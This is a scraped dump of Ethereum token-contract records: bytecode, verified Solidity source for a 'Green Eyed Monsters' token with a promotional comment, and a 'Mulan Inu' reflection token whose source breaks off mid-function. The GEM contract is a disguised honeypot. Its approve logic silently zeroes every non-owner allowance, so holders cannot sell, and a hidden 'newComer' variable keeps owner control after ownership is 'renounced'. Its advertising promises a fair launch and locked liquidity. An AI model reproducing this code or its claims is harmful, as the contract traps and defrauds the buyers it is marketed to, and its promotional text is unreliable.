08373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a7565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bc96025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611aef6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b806025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aaa6023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b11602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b6002819055506b204fce5e3e2502611000000060025411156117aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117fb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b5f6021913960400191505060405180910390fd5b61199881604051806060016040528060228152602001611acd602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ef81600254611a5f90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611aa183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820688df75de8258e9deb0308287675d98e73eea03ae619e4b90d9ea885abf22b9164736f6c63430005110032
{"success": true, "error": null, "results": {}}
5,012
0xdcbbd933244b785e6c58cfdc9c8fbbf54321f5cf
/* 🚨NFTs, Token, & Games ALERT🚨 🧪👾 Green Eyed Monsters 👾🧪 Cool upcoming NFT “” The Green Eyed Monster NFT collection that will be launching alonggside a ETH On UNISWAP 🦄 & FegEx 🦍 ✅1,000 Hyper-Realistic and Animated Avatars! From Unique Traits and Rare 3D Motion, the GEM SERIES 1 Avatars allow for a randomized assembly of collectable NFT characters. 💥Fair Launch! ✅ CMC💃, CG🦎 incoming! 📝TOKENOMICS🥳 💎 TS: 1T - GEM 🔒 Liquidity Locked 🔒 🐋 Anti-Whale 💼 4% Marketing 🥷 2% dev 🎁 1% Redistribution of Holder Tokens 💰 3% Stacked into our Liquidity 📌 Experienced Devs + Marketing team! 📌 Exchanges and Partnerships incoming! 🤝 Website: http://gemnfts.io Join TG 👉: https://t.me/GEMportall ☝️☝️ Twitter: http://twitter.com/gem_nfts Instagram: https://www.instagram.com/gem_nfts */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GreenEyedMonster is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Green Eyed Monsters ' ; string private _symbol = 'GEM'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bb149893e2a78478e236ce9544fce501c29fe6ff58a5960fc5f14a26ccebed8e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,013
0xc16844410df63af182475cfc4bd94aee8a218911
/* https://t.me/mulaninuofficial https://twitter.com/mulan_inu https://mulaninu.com/ ███  ███ ██  ██ ██  █████  ███  ██  ██ ███  ██ ██  ██  ████  ████ ██  ██ ██  ██   ██ ████  ██  ██ ████  ██ ██  ██  ██ ████ ██ ██  ██ ██  ███████ ██ ██  ██  ██ ██ ██  ██ ██  ██  ██  ██  ██ ██  ██ ██  ██   ██ ██  ██ ██  ██ ██  ██ ██ ██  ██  ██      ██  ██████  ███████ ██  ██ ██   ████  ██ ██   ████  ██████                                                                 1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade. 3. No presale wallets that can dump on the community. Token Information 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. 0,3% transaction limit on launch 6. Buy limit lifted after launch 7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 2% redistribution to holders on all buys 10. 2% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-10% developer & marketing fee */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MulanInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Mulan Inu"; string private constant _symbol = "MULAN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 20; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= 